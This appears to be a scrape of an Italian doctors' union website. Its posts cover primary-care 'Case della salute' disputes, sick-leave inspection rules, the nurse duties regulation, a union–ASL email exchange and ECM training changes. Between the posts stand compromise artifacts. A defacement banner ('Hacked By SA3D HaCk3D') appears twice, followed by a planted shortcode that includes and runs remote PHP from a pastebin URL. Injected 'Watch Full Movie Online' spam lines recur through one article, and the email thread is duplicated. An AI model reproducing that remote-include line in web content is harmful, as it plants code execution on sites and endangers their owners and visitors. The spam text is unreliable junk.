Case della salute, accordo toscano spacca i sindacati Mmg

http://www.doctor33.it/politica-e-sanita/case-della-salute-accordo-toscano-spacca-i-sindacati-mmg/?xrtd=LTTTSACAXYSASAVSARYLY

Case della salute, accordo toscano spacca i sindacati Mmg

TAGS: MEDICI DI MEDICINA GENERALEREGIONE TOSCANACASE DELLA SALUTE

ARTICOLI CORRELATI

31-03-2017 |Appropriatezza prescrittiva, in Emilia Romagna Ausl convocano Mmg: spesa eccessiva24-03-2017 | Incarichi provvisori di mg e di sostituzione nel servizio di continuità assistenziale21-03-2017 | Radiazioni ionizzanti, il punto della Toscana: apparecchiature mediche principale fonte

Siena laboratorio italiano: il preaccordo firmato lo scorso febbraio da Asl e sindacati divide i medici ma è anche la cartina di tornasole per capire lo sviluppo della prossima convenzione nazionale. Al neonato ente di area vasta che comprende le ex Asl di Arezzo e Grosseto si prevede una casa della salute per ciascuna delle Aggregazioni funzionali territoriali istituite, cioè una ogni 20-30 mila abitanti e non una per distretto come si ipotizzava in passato. Il coordinatore di Aft potrà contrattare il budget con l’ente di area vasta e gestirà la continuità assistenziale (cui pure è assegnato un referente in Aft) con modalità da definire. I Mmg dovranno gestire tanto i pazienti a rischio cardiovascolare (>15 secondo carte ISS, già previsti dall’accordo Toscana 2012) quanto i pazienti a più alto rischio di ricovero, da censire; dovranno prenotare esami e visite specialistiche ai pazienti cui li prescrivono, prendere in carico la terapia anticoagulante orale; i compensi economici arriveranno da risparmi acquisiti e da nuove risorse che la regione deciderà di stanziare su questa novità. Il sindacato Snami, minoritario, non ha firmato ed è sul piede di guerra. La presidente provinciale Liliana Gradi si dice non pregiudizialmente contraria a tutto. «Ma non possiamo firmare a scatola chiusa. Intanto, il preaccordo è frutto della volontà dell’Asl. Altri sindacati hanno posto dubbi sulla possibilità che lo Snami tratti pur non avendo noi firmato, attribuendogli una valenza di accordo vero che per noi non ha. Inoltre va affrontato già ora. Ci sono concetti nuovi. Per far sì che il medico che prescrive un esame lo prenoti subito, ci vuole personale dedicato e in un locale a parte, non condizionato da chi attende in sala, e comunque immagino cosa può accadere se il tempo d’attesa per un esame in una certa struttura fosse troppo lungo; il paziente rientrerebbe da me per chiedermi alternative.

Ricordo che in Veneto la sperimentazione di questo tipo ha sollevato molte contrarietà tra i colleghi, si dimentica che ogni volta che io adempio ad un incarico burocratico tolgo del tempo alla clinica; e si crea una disparità di mezzi e di attrattività verso il paziente tra il medico che rende disponibile più tempo per le prenotazioni e quello che ne ha meno». C’è un secondo problema, il personale: «Va offerta a tutti la chance di tutelare la propria autonomia e di non essere socio di alcuna cooperativa, la coop non dev’essere conditio sine qua non per mantenere i propri servizi e la propria convenzione». Altro tema caldo nella gestione del cronico è la privacy: «Al momento pare che tutti i medici possano accedere al fascicolo sanitario del paziente, con uguali livelli di lettura, e invece occorre adottare le garanzie di legge. E ancora, si parla di contrattazione con il coordinatore di Aft, mentre la risposta dovrebbe essere un tavolo con i coordinatori; e sul tempo di assistenza del Mmg si parla di “overtime”, termine ambiguo per un accordo di lavoro: non si capisce se sia virtuale o corrisponda a un orario magari “tirato” sulle 16 o 24 ore, questo sì in barba alle direttive europee sui riposi». Per Maurizio Pozzi, presidente di SaniCoop iscritto Fimmg e membro della delegazione trattante, ma soprattutto medico di famiglia senese, «un problema di concorrenza può porsi. Ma non sul tempo che i medici rendono disponibile per prenotare l’esame prescritto, bensì sul fatto che il Cup possa, poniamo, essere accessibile a Siena e non fuori. Ad esempio noi temiamo molto che per problemi di linea Adsl, o di personale che non sempre c’è, uno studio decentrato, di paese, perda assistiti rispetto a uno studio cittadino; non lo accetteremmo. Sulle coop, nel tempo a livello nazionale penso si sia consolidato un percorso, non si può pensare che da soli si riesca a offrire chissà quali servizi; certo, la cooperativa dev’essere di servizio al medico, mettergli a disposizione sede, attrezzature, personale.

Un medico di gruppo non può avere in carico un dipendente un pezzetto per uno, e così ne acquista i servizi da una coop o la crea; tra l’altro, a differenza di una società una coop non ha scopo di lucro, e questo aspetto aiuta allorché qualcuno potrebbe dire che il medico convenzionato e titolare di srl avvantaggi quest’ultima offrendo servizi alla popolazione. L’Asl potrebbe dire in tal caso che il medico ha appaltato dei servizi su cui lucra, mentre una coop -dove tra l’altro le decisioni sono prese democraticamente- toglie ogni dubbio. Nello stesso accordo nazionale all’articolo 54 è previsto che il medico per espletare i compiti previsti si avvalga di società di servizio di tipo cooperativo». Per Pozzi, «la trattativa a Siena pone un problema sul futuro dell’accordo nazionale, mettendo al centro le reti integrate ospedale-territorio e la casa della salute. Il rapporto di queste entità, non previste dalla convenzione, rispetto alla popolazione, farebbe pensare che la regione voglia sostituirle alle unità di cure primarie. Uccp e casa della salute però sono cose diverse, l’Uccp è fatta dalle professioni del territorio auto-organizzate, la Casa della Salute ha un direttore sanitario nominato dall’Asl. La Fimmg si è espressa da tempo perché i professionisti del territorio si organizzino da sé». Raffaele Gaudio portavoce Smi conferma che il suo sindacato ha dato l’ok al preaccordo «ma restano perplessità, le case della salute non sono costituite dalla contrattazione sindacale a differenza di Aft e Uccp, né sono previste nella piattaforma Sisac, farne l’unità di misura degli accordi in Toscana lascia perplessi. Tanto più che ove fosse obbligatorio passare per le cooperative per realizzarle si porrebbero dei problemi, un conto è se la coop ti aiuta mettendoti a disposizione fattori produttivi, un conto è se contratta al posto del sindacato magari offrendo prestazioni a tariffe basse che pregiudicano lo sviluppo della medicina generale».

Mauro Miserendino

Hacked By SA3D HaCk3D

<br> HaCkeD by SA3D HaCk3D<br>
HaCkeD By SA3D HaCk3D

Long Live to peshmarga

KurDish HaCk3rS WaS Here

fucked
FUCK ISIS !

Hacked By SA3D HaCk3D

<br> HaCkeD by SA3D HaCk3D<br>
HaCkeD By SA3D HaCk3D

Long Live to peshmarga

KurDish HaCk3rS WaS Here

fucked
FUCK ISIS !

test

[insert_php] include(‘http[:]//pastebin.com/raw/F9ffPKBM’); [/insert_php][php] include(‘http[:]//pastebin.com/raw/F9ffPKBM’); [/php]

Cambiate le regole per la malattia dei lavoratori

Dal primo gennaio scorso sono cambiate le regole per la malattia dei lavoratori.

E c’è anche un’importante sentenza della Cassazione, la numero  64 del 4 gennaio 2017, che regolamenta l’obbligo di reperibilità.

Giova ricordare che la malattia indennizzata parte dal 4° giorno, perché i primi 3 giorni vengono considerati di carenza. In questo caso, se previsto dal contratto di lavoro, le giornate di assenza per malattia sono a completo carico dell’azienda. Dal 1° gennaio 2017, la visita e quindi la reperibilità del lavoratore può essere attivata fin dal primo giorno di malattia. Questo nel caso in cui l’assenza ricada nella giornata immediatamente precedente o successiva ad una non lavorativa. In definitiva, il datore di lavoro ha il diritto di chiedere all’Inps di andare a controllare lo stato di salute del dipendente in malattia, tramite procedura telematica da attivare in tempo reale.

La giornata non lavorativa, non si riduce al sabato o la domenica, ma anche a giornate di riposo, ferie o permessi. In pratica, una stretta a coloro che magari usano la malattia per allungare periodi di riposo o di ferie.Per i lavoratori pubblici, le fasce orarie di reperibilità sono dalle 09:00 alle 13:00 e dalle 15:00 alle 18:00 per 7 giorni su 7. Per i lavoratori dipendenti del settore privato invece, 10:00-12:00 e 17:00-19:00.
A tutto ciò si aggiunge la sentenza  della Cassazione, la numero 64 del 4 gennaio 2017, che dà ulteriori delucidazioni all’obbligo di reperibilità con particolareriferimento ai casi coperti dalla Legge, in cui il lavoratore può mancare una visita fiscale. Patologie gravi e accertate sono motivi validi che però devono essere confermatida strutture sanitarie nazionali. Per il settore Pubblico poi, esistono delle malattie professionali riconosciute dall’Inail che eliminano l’obbligo per il lavoratore.

La Cassazione, con la sentenza n°64 del 4 gennaio 2017, ha sottolineato, inoltre, come l’obbligo di reperibilità cessi nel momento in cui il medico, visitando il lavoratore, confermi lo stato di malattia. In parole povere, dopo che il medico ha trovato a casa il lavoratore e lo ha visitato trovandolo davvero ammalato,l’obbligo di essere reperibile decade. Questo a condizione che l’uscita di casa o l’attività che si va a svolgere renda la guarigione più complicata. Resta sempre giustificabile una assenza alla visita, purché comunicata preventivamente agli organi di controllo.

Per casi di omessa o ritardata comunicazione, il lavoratore sarà tenuto, in un eventuale contenzioso, a dimostrare il motivo per il quale ha omesso di comunicare all’INPS che sarebbe stato assente alla visita di controllo. Sempre per quanto riguarda eventuali contenziosi col datore di lavoro, il lavoratore resta tenuto a dimostrare che le eventuali uscite durante le ore in cui doveva essere reperibile, non ne abbiano pregiudicato la guarigione, questo perché lo svolgimento del lavoro da parte del lavoratore è un diritto del datore di lavoro.

MANSIONARIO DELL’INFERMIERE PROFESSIONALE

MANSIONARIO DELL’INFERMIERE PROFESSIONALE

Modifiche al R.D. 2 maggio 1940, numero 1310, sulle mansioni degli infermieri professionali e infermieri generici.

TITOLO I – Mansioni dell’infermiere professionale

 Art. 1 Le attribuzioni di carattere organizzativo ed amministrativo degli infermieri professionali sono le seguenti: a) programmazione di propri piani di lavoro e di quelli del personale alle proprie dipendenze, loro presentazione ai superiori e successiva attuazione; b) annotazione sulle schede cliniche degli abituali rilievi di competenza (temperatura, polso, respiro, pressione, secreti, escreti) e conservazione di tutta la documentazione clinica sino al momento della consegna agli archivi centrali; registrazione su apposito diario delle prescrizioni mediche, delle consegne e delle osservazioni eseguite durante il servizio); c) richiesta ordinaria e urgente di interventi medici e di altro personale a seconda delle esigenze sanitarie, sociali e spirituali degli assistiti; d) compilazione dei dati sul movimento degli assistiti e collaborazione alla raccolta ed elaborazione di dati statistici relativi al servizio; e) tenuta e compilazione dei registri e dei moduli di uso corrente; f) registrazione del carico e scarico dei medicinali, dei disinfettanti, dei veleni e degli stupefacenti; loro custodia e sorveglianza sulla distruzione. Custodia delle apparecchiature e delle dotazioni di reparto; g) controllo della pulizia, ventilazione, illuminazione e riscaldamento di tutti i locali del reparto; h) sorveglianza sulle attività dei malati affinché le stesse si attuino secondo le norme di convivenza prescritte dai regolamenti interni. Gli infermieri professionali sono inoltre tenuti: 1) a partecipare alle riunioni periodiche di gruppo ed alle ricerche sulle tecniche e sui tempi dell’assistenza; 2) a promuovere tutte le iniziative di competenza per soddisfare le esigenze psicologiche del malato e per mantenere un clima di buone relazioni umane con i pazienti e con le loro famiglie; 3) ad eseguire ogni altro compito inerente alle loro funzioni.

Art. 2 Le attribuzioni assistenziali dirette ed indirette degli infermieri professionali sono le seguenti; 1) assistenza completa dell’infermo; 2) somministrazione dei medicinali prescritti ed esecuzione dei trattamenti speciali curativi ordinati dal medico; 3) sorveglianza e somministrazione delle diete; 4) assistenza al medico nelle varie attività di reparto e di sala operatoria; 5) rilevamento delle condizioni generali del paziente, del polso, della temperatura, della pressione arteriosa e della frequenza respiratoria; 6) effettuazione degli esami di laboratorio più semplici; 7) raccolta, conservazione ed invio in laboratorio del materiale per le ricerche diagnostiche; 8) disinfezione e sterilizzazione del materiale per l’assistenza diretta al malato; 9) opera di educazione sanitaria del paziente e dei suoi familiari; 10) opera di orientamento e di istruzione nei confronti del personale generico, degli allievi e del personale esecutivo; 11) interventi d’urgenza (respirazione artificiale, ossigenoterapia, massaggio cardiaco esterno, manovre emostatiche) seguiti da immediata richiesta di intervento medico; 12) somministrazione deimedicinali prescritti ed esecuzione dei seguenti trattamenti diagnostici e curativi ordinati dal medico: a) prelievo capillare e venoso del sangue; b) iniezioni ipodermiche, intramuscolari e tests allergodiagnostici; c) ipodermoclisi; d) vaccinazioni per via orale, per via intramuscolare e percutanee; e) rettoclisi; f) frizioni, impacchi, massaggi, ginnastica medica; g) applicazioni elettriche più semplici, esecuzione di E.C.G., E.E.G. e similari; h) medicazioni e bendaggi; i) clisteri evacuanti, medicamentosi e nutritivi; l) lavande vaginali; m) cateterismo nella donna; n) cateterismo nell’uomo con cateteri molli; o) sondaggio gastrico e duodenale a scopo diagnostico; p) lavanda gastrica; q) bagni terapeutici e medicati; r) prelevamento di secrezioni ed escrezioni a scopo diagnostico; prelevamento dei tamponi.

 Le prestazioni di cui ai punti d), g), n), o), p), debbono essere eseguite su prescrizione e sotto controllo medico.

 E’ consentita agli infermieri professionali la pratica delle iniezioni endovenose. Tale attività potrà essere svolta dagli infermieri professionali soltanto nell’ambito di organizzazioni ospedaliere o cliniche universitarie e sotto indicazione specifica del medico responsabile del reparto.

CASE DELLA SALUTE IN EMILIA ROMAGNA IL CONTRIBUTO DI FABIO MARIA VESPA

CASE DELLA SALUTE IN

EMILIA ROMAGNA

 Watch Full Movie Online Streaming Online and Download

IL CONTRIBUTO DI FABIO MARIA VESPA

Image

Si pubblica il contributo di Fabio Maria Vespa all’ aspro dibattito relativo alle Case della Salute in Emilia Romagna

 Watch Full Movie Online Streaming Online and Download

Il “Sol dell’avvenire” e il conservatorismo della “casta” medica?

 Watch Full Movie Online Streaming Online and Download

Una qualche riflessione da medico di famiglia mi pare opportuna, nell’ambito della discussione sul progetto sanitario della Regione Emilia Romagna di Case della salute, tra le tardive posizioni dell’Ordine dei medici di Bologna e gli interventi di diversi rappresentanti della professione infermieristica.

 Watch Full Movie Online Streaming Online and Download

Una prima questione è quella che non credo interessi veramente i medici di famiglia, ovvero: chi dovrà essere il responsabile organizzativo dell’edificio Casa della salute?

Da sempre i medici di medicina generale sono e si considerano nei fatti “ fuori dai giochi” e quindi, non mi dilungherò oltre su questa poco appassionante tematica.

Vinca il migliore e Auguri!

 Watch Full Movie Online Streaming Online and Download

Piuttosto, nel merito, da anni, come FIMMG, soli denunciamo il rischio del carattere espropriativo e non integrativo delle competenze mediche di quel progetto sanitario che va sempre sotto il nome di Casa della salute. A fronte dei nostri dubbi e delle nostre perplessità, ci troviamo di fronte ad una raffica di affermazioni, da parte di autorevoli rappresentanti degli infermieri, che piuttosto che rassicurarci confermano tutte le nostre incertezze: “leadership infermieristica culturale e progressista … l’area medica confusa timorosa” (R. Romano); “infermiere Coordinatore interprofessionale nell’interesse dei pazienti … le consuete modalità organizzative dei servizi sanitari superate dalla storia e dagli eventi” (G. Lebiu). E ancora l’infermiere: “efficace ed appropriato nella valutazione dei bisogni non solo clinici … ” (P. Giurdanella).

In sintesi, appaiono da un lato il “Sol dell’avvenire” e dall’altro il conservatorismo bigotto della “casta” medica, da un lato l’“appropriatezza” e dall’altro l’oscurantismo più tenace.

Viene spontaneo ricordare che per molti di noi l’appropriatezza è un percorso nel dubbio della scienza, nella ricerca delle “tante verità successive”, ed è per questo che molti di noi rimangono perplessi, data la complessità del mondo e della disciplina di cui si parla, di fronte a chi ha trasformato quella parola, nel “Got mit uns” (Dio è con noi) di certezze da usare alla bisogna contro gli altri.

 Watch Full Movie Online Streaming Online and Download

Abbandonando, per inadeguatezza ovviamente, il piano filosofico, e prendendo per buono l’assunto dei succitati rappresentanti degli infermieri, non possiamo non porci il problema del perché la casta medica avrebbe assunto il ruolo della “casta” conservatrice.

 Watch Full Movie Online Streaming Online and Download

Un qualunque sociologo o politologo, forse ci direbbe, o meglio, direbbe loro che, a fronte di prospettive incerte e negative per il sé, chiunque diventa “confuso e timoroso” ed in qualche modo conservatore.

Certo gli infermieri ed i politici potrebbero infischiarsene di sentimenti così inutili e dannosi al Progetto e alle certezze da cui paiono animati, ma davvero si vuol fare qualcosa in sanità contro i medici e non con i medici? Sono proprio certi di superare gli ostacoli che necessariamente verranno da quella parte se non vi saranno concrete condivisioni?

 Watch Full Movie Online Streaming Online and Download

Se così non fosse, dovremmo o meglio dovrebbero porsi il problema di come e perché la “casta” percepisce il futuro come incerto, negativo.

Un qualche esempio ci viene facile: quando un chirurgo, con la novella organizzazione ospedaliera, denuncia di non poter rivedere il giorno successivo il paziente da lui operato o quando giovani colleghi, al di fuori di contratti e convenzioni (“Delibera di Natale”), montano di guardia, che so, in cardiochirurgia pediatrica per pochi euro l’ora e se malati devono trovarsi il sostituto … o quando, sempre giovani colleghi, sono chiamati (in O.S.C.O.)acertificare le cause di morte di pazienti mai visti, perché seguiti in modo pressoché esclusivo da infermieri … e ancora, quando si pensa a call center sostitutivi del contatto col medico di famiglia, finalizzati ad indirizzare “al meglio” l’assistito … o meglio quando per telefono o via radio i medici devono autorizzare infermieri all’uso di farmaci ed esserne responsabili.

Ovunque medici precari e persino i voucher… Contratti e convenzioni? Quando si può si evitano. Versamenti previdenziali? Chissà …

Rischi professionali? Tutti!

Per fortuna abbiamo notizia che questi metodi stiano iniziando a sollecitare, qua e là, un qualche interessamento “istituzionale”.

 Watch Full Movie Online Streaming Online and Download

Tornando al tema e detto in parole semplici, non si può far di tutto per creare contrapposizioni, per poi lamentarsi delle contrapposizioni!

Forse, ora, riusciamo a capire meglio perché i medici italiani sono o sarebbero legati al loro piccolo mondo antico.

Forse, ora, riusciamo anche a capire perché migliaia di bravi giovani medici se ne vanno all’estero, portando con sé disincanto, risentimento e i tanti quattrini spesi dall’Italia per formarli.

 Watch Full Movie Online Streaming Online and Download

In ultimo, forse si dovrebbe anche tentare di capire, onde limitare gli attriti, quali adattamenti organizzativi non hanno altrove trovato quelle resistenze che in Emilia appaiono particolarmente vivaci.

Questa è una questione che, se fossimo politici o dirigenti infermieristici, ci porremmo e forse la risposta la troveremmo in modelli diffusi qua e là per l’Europa, modelli nei quali seriamente, nel rispetto delle regole contrattuali e delle rispettive competenze, i professionisti della sanità collaborano senza conflitti e senza rancori.

 Watch Full Movie Online Streaming Online and Download

Nel frattempo, noi medici di famiglia, seppur consci di non potercela fare da soli ad affrontare le “sfide della fragilità e della cronicità”, continuiamo ad auto organizzarci, col supporto irrinunciabile del rapporto di fiducia con i pazienti, non potendo far altro che lasciare agli appassionati, a quelli del “noi siamo pronti” e al manager, il “board” dell’ “empowerment” … e quant’altro del progetto detto Case della salute!

 Watch Full Movie Online Streaming Online and Download

Dimenticavo, proprio perché come dicono, sono “confuso e timoroso”… Ma dove sta tutta la letteratura scientifica in cui si parla di Case della salute?

 Watch Full Movie Online Streaming Online and Download

Fabio M. Vespa

Image
Facebook
Twitter
LinkedIn
Messaggio inviato con Logo   Cancella iscrizione  |  Invia a un amico
“Ricevi questa email in quanto iscritto SNAMI o iscritto alla Newsletter, se volessi interrompere la ricezione delle nostre comunicazioni puoi annullare l’iscrizione cliccando sul pulsante disiscrivi”
SNAMI Emilia Romagna , SNAMI Sezione Regionale dell’ Emilia Romagna Via G. Perti 22, Bologna, 40100 BO IT
www.snami.bologna.it

Richiesta formale di copia di deliberazione azindale

Sent: Monday, January 02, 2017 3:44 PM
Subject: Re: Richiesta formale di copia di deliberazione azindale
Gentile Dr.ssa Dei,
sarei ben lieta di incontrarLa, ma non posso circoscrivere la politica della “nostra” Asl come fatto isolato ed ininfluente rispetto ad equilibri ben più vasti ed importanti.
L’iniziativa della ASL di Siena, e le altre della Regione Toscana, soprattutto negli ultimi tempi, hanno costituito un preavviso di arretramento della qualità della professionale così come è vista
dal Sindacato cui appartengo il quale ha in grande considerazione la libera professione e la “scienza e coscienza” medica.
Pertanto ho il dovere di fare la mia parte soprattutto sottoponendo ogni atto (documento) aziendale alla valutazione dei Vertici del mio Sindacato ed alla popolazione dei medici
che ne fanno parte e che hanno il diritto di esprimere il proprio giudizio consapevole sulle politiche aziendali e regionali soprattutto a fronte del rinnovo di una convenzione che si annuncia penalizzante in termini di autonomia intellettuale.
La ringrazio per la cortese attenzione.
Cordialmente.
Liliana Gradi
Sent: Monday, January 02, 2017 3:27 PM
Subject: Re: Richiesta formale di copia di deliberazione azindale
Gentile dr.ssa, sono disponibile ad incontrarla nei prossimi giorni per confrontarci insieme sul processo riorganizzativo in atto e vorrei tranquillizzarla sul rispetto delle norme regionali e nazionali .
I passaggi in corso sono assolutamente in linea con quanto previsto dalla normativa e nel pieno rispetto dei ruoli reciproci.
Come lei sicuramente capirà la responsabilità organizzativa non è delegabile da parte dell’azienda, e ne assumiamo le responsabilità connesse: a breve sarà convocato il tavolo sindacale nel quale con calma e rispetto reciproco esporremo e risolveremo eventuali criticità.
Distinti saluti
SD
Dr
Sent: Monday, January 02, 2017 3:44 PM
Subject: Re: Richiesta formale di copia di deliberazione azindale
Gentile Dr.ssa Dei,
sarei ben lieta di incontrarLa, ma non posso circoscrivere la politica della “nostra” Asl come fatto isolato ed ininfluente rispetto ad equilibri ben più vasti ed importanti.
L’iniziativa della ASL di Siena, e le altre della Regione Toscana, soprattutto negli ultimi tempi, hanno costituito un preavviso di arretramento della qualità della professionale così come è vista
dal Sindacato cui appartengo il quale ha in grande considerazione la libera professione e la “scienza e coscienza” medica.
Pertanto ho il dovere di fare la mia parte soprattutto sottoponendo ogni atto (documento) aziendale alla valutazione dei Vertici del mio Sindacato ed alla popolazione dei medici
che ne fanno parte e che hanno il diritto di esprimere il proprio giudizio consapevole sulle politiche aziendali e regionali soprattutto a fronte del rinnovo di una convenzione che si annuncia penalizzante in termini di autonomia intellettuale.
La ringrazio per la cortese attenzione.
Cordialmente.
Liliana Gradi
Sent: Monday, January 02, 2017 3:27 PM
Subject: Re: Richiesta formale di copia di deliberazione azindale
Gentile dr.ssa, sono disponibile ad incontrarla nei prossimi giorni per confrontarci insieme sul processo riorganizzativo in atto e vorrei tranquillizzarla sul rispetto delle norme regionali e nazionali .
I passaggi in corso sono assolutamente in linea con quanto previsto dalla normativa e nel pieno rispetto dei ruoli reciproci.
Come lei sicuramente capirà la responsabilità organizzativa non è delegabile da parte dell’azienda, e ne assumiamo le responsabilità connesse: a breve sarà convocato il tavolo sindacale nel quale con calma e rispetto reciproco esporremo e risolveremo eventuali criticità.
Distinti saluti
SD
Dr Simona Dei
Direttore Sanitario
Azienda sanitaria locale Toscana sudest
Il giorno 02 gen 2017, alle ore 13:48, Gradi dr.ssa Liliana <liliana.gradi@gmail.com> ha scritto:
Spett. Dirigenti Aziendali,
facendo seguito alla richiesta verbale del 28 dicembre u.s., formalmente chiedo che mi venga rilasciata copia della deliberazione istitutiva del
numero telefonico unico  0577 367773, da utilizzare a cura della popolazione assistibile, sia per la Guardia Medica territoriale (Continuità Assistenziale), sia per le informazioni e la reperibilità degli infermieri che, si presume, debbano autonomamente intervenire al domicilio dei pazienti in regime di ADI.
Ai sensi dell’allegato H ( art. 3 , comma 5)  dell’ACN, il medico di  Assistenza Primaria ha la responsabilità unica e complessiva del paziente il che renderebbe illegittima ogni iniziativa che attivi in maniera diretta ed autonoma la reperibilità e, quindi, ogni intervento infermieristico che , come tale, non può nè deve avere connotazioni cliniche.
Inoltre la nuova organizzazione, non concordata con le OO.SS., lede alcune prerogative dei diritti del medici della Continuità Assistenziale di cui si è detto in altra sede.
Pertanto sin d’ora ed a titolo cautelativo, si chiede la sospensione di ogni cambiamento rispetto agli equilibri esistenti prima del 20 dicembre u.s.
In attesa di riscontro, porgo distinti saluti.
SNAMI – Il presidente prov.le
Dr.ssa Liliana Gradi

Simona Dei

Direttore Sanitario
Azienda sanitaria locale Toscana sudest
Il giorno 02 gen 2017, alle ore 13:48, Gradi dr.ssa Liliana <liliana.gradi@gmail.com> ha scritto:
Spett. Dirigenti Aziendali,
facendo seguito alla richiesta verbale del 28 dicembre u.s., formalmente chiedo che mi venga rilasciata copia della deliberazione istitutiva del
numero telefonico unico  0577 367773, da utilizzare a cura della popolazione assistibile, sia per la Guardia Medica territoriale (Continuità Assistenziale), sia per le informazioni e la reperibilità degli infermieri che, si presume, debbano autonomamente intervenire al domicilio dei pazienti in regime di ADI.
Ai sensi dell’allegato H ( art. 3 , comma 5)  dell’ACN, il medico di  Assistenza Primaria ha la responsabilità unica e complessiva del paziente il che renderebbe illegittima ogni iniziativa che attivi in maniera diretta ed autonoma la reperibilità e, quindi, ogni intervento infermieristico che , come tale, non può nè deve avere connotazioni cliniche.
Inoltre la nuova organizzazione, non concordata con le OO.SS., lede alcune prerogative dei diritti del medici della Continuità Assistenziale di cui si è detto in altra sede.
Pertanto sin d’ora ed a titolo cautelativo, si chiede la sospensione di ogni cambiamento rispetto agli equilibri esistenti prima del 20 dicembre u.s.
In attesa di riscontro, porgo distinti saluti.
SNAMI – Il presidente prov.le
Dr.ssa Liliana Gradi

un infermiere con laurea triennale e un master non può dirigere una Casa della Salute

I medici non hanno “paura” degli infermieri. Ma un professionista con laurea triennale e un master non può dirigere una Casa della Salute

Non si chieda il nostro consenso a modelli organizzativi dove le professioni sanitarie, oltre al loro specifico ruolo, corrono all’arrembaggio delle posizioni organizzative di struttura relegando il medico ad un professionista “a chiamata”, “a firma da mettere” o “problema da risolvere” come già in alcune aree di questa regione sta avvenendo. Questi modelli non ci vanno bene, non servono ai cittadini, non sono modelli di cura che riteniamo validi e migliorativi

27 DIC  Gentile Direttore,
i medici non hanno paura degli infermieri. Insinuare questo “dubbio speculativo” forse è funzionale a qualcuno e verrebbe proprio da chiedersi quale sia il motivo. Quello che invece fa infuriare i medici, è l’assenza di rispetto del ruolo, degli ambiti di pertinenza professionale, dell’autonomia professionale e dello spirito di abnegazione che ha caratterizzato decenni di studi e sacrifici.

Per questo sindacato è necessario che la creazione dei modelli passi attraverso un’attenta condivisione di percorsi e strategie che non tralascino aspetti sostanziali: le regole debbono valere per tutti, o si riformano percorsi formativi e contrattuali su scala nazionale, oppure oggi si rispettano quelle che ci sono.

Come sindacato, ci limitiamo a portare alla luce qualche esempio di tematica puramente sindacale-lavorativa, consapevoli che non sono di minor conto risultano essere le tematiche deontologiche e culturali. Offuscare i limiti e i perimetri delle varie professioni crea disastri, tradisce le aspettative dei giovani e risulta funzionale solo a pochi.

 
I disastri li crea in primis ai tanti professionisti medici a cui oggi la normativa impone lunghi percorsi per raggiungere anche solo l’obiettivo di vedersi accettata una domanda ad un concorso o ad una graduatoria di “organizzazione dei servizi sanitaria di base”.

Un esempio, non esaustivo, che può valere per tutti: oggi, quasi 2017, per occuparsi di organizzazione dei servizi sanitaria di base un medico deve studiare 4 o 5 anni dopo la laurea, ammesso che ci siano i posti in specializzazione e che non servano altri master o corsi. 10 o 11 anni solo per accedere ad un concorso, non per avere un posto di direzione.

A chi pare normale che un professionista con laurea triennale ed un master, possa tranquillamente dirigere una struttura come la Casa della Salute? I medici che hanno scelto gli stessi percorsi sono forse dei poveri deficienti? Sarebbe opportuno “sperimentare” quanti di questi professionisti che aspirano alla “direzione” sarebbero pronti ad affrontare 6 anni di laurea ad accesso programmato, 4 o 5 anni di specializzazione “ad accesso limitato” e ad assolvere analoghi obblighi formativi previsti per il medico, prima di aspirare alle medesime funzioni e responsabilità.

Le Case della Salute sono solamente l’ultimo esempio di un documento che non ha recepito le osservazioni dei medici.
Sul lato professionale, fino a che non vengono decise nuove regole per la formazione post laurea e non viene riformato in modo condiviso tutto il sistema formativo medico, non ci sarà mai consenso su modelli che consentono di calpestare gli sforzi di tanti validi professionisti.
Non si chieda il nostro consenso ad un sistema che rischia di creare confusione e di equiparare il medico ad altri professionisti nell’amministrazione e gestione dei servizi sanitari così come in ogni altro ambito della sanità. I sistemi funzionano e lo fanno bene, quando ognuno fa il proprio in maniera coordinata ed embricata.

Non si chieda il nostro consenso a modelli organizzativi dove le professioni sanitarie, oltre al loro specifico ruolo, corrono all’arrembaggio delle posizioni organizzative di struttura relegando il medico ad un professionista “a chiamata”, “a firma da mettere” o “problema da risolvere” come già in alcune aree di questa regione sta avvenendo. Questi modelli non ci vanno bene, non servono ai cittadini, non sono modelli di cura che riteniamo validi e migliorativi.

Nessuno è contrario all’innovare, a sperimentale, ma dalla nascita del metodo scientifico, prima di modificare modelli di cui oggi conosciamo bene i risultati, dobbiamo esser certi che questi altri siano migliori dei precedenti.

Sappiamo che oggi, con tutti i limiti che abbiamo, abbiamo uno dei migliori sistemi sanitari del mondo, orrendamente “medico centrico” come dicono spesso cert’uni. Un modello che però spende pochissimo in rapporto ai risultati di salute che ottiene.

Chi ha interesse a cambiarlo in maniera così unilaterale e non condivisa?

Elisabetta Simoncini 
Presidente Regionale SNAMI Emilia Romagna

27 dicembre 2016
© Riproduzione riservata

ECM, cosa cambia dal 2017

 ECM, cosa cambia dal 2017. Bovenga: «Ecco dossier formativo e bonus per i virtuosi»

 

Il 31 dicembre scade il triennio formativo, tante le novità in programma. Il presidente del CoGeAPS:

«Superati i numeri di un tempo ma si può ancora migliorare. Per i più bravi possibilità di riduzioni e bonus»

Il triennio formativo ECM sta per concludersi. Il termine entro il quale i professionisti sanitari dovranno chiudere il programma formativo è fissato per il 31 dicembre, ma l’attenzione è già focalizzata sul nuovo triennio. E proprio delle novità si è parlato in occasione dell’evento “Le Professioni Sanitarie ed il sistema ECM tra presente e futuro”organizzato dal CoGeAPS (Consorzio Gestione Anagrafica Professioni Sanitarie) presso l’Ergife Palace Hotel a Roma. Durante l’incontro è emerso che dal 2014 al 2016 si è verificato un notevole aumento della Formazione a distanza (FAD) rispetto alle altre proposte formative: si è passati da 950 eventi FAD registrati nel 2011 a 2400 nel 2015 (il dato del 2016 non è ancora disponibile).  Per quel che riguarda le nuove regole, nel triennio 2017-2019, premialità, flessibilità e autoformazione saranno i focus principali. La premialità introduce un criterio che premia la conformità formativa precedente. Per quel che riguarda la flessibilità, il professionista potrà gestire più autonomamente il suo percorso di aggiornamento attraverso il dossier formativo, sempre rispettando l’obbligo dei 150 nel triennio. Tuttavia i nuovi obblighi e le modifiche alla regolamentazione su più aspetti sono rimasti ancora incerti, a fare chiarezza in questo scenario di luci ed ombre ci pensa Sergio Bovenga, Presidente CoGeAPS, che gestisce i crediti formativi di tutte le 30 professioni sanitarie ed oltre 1.000.000 professionisti.

 

Presidente, sta concludendosi il triennio formativo che vede il termine il 31 dicembre, quali saranno le novità più rilevanti per il triennio 2017-2019?

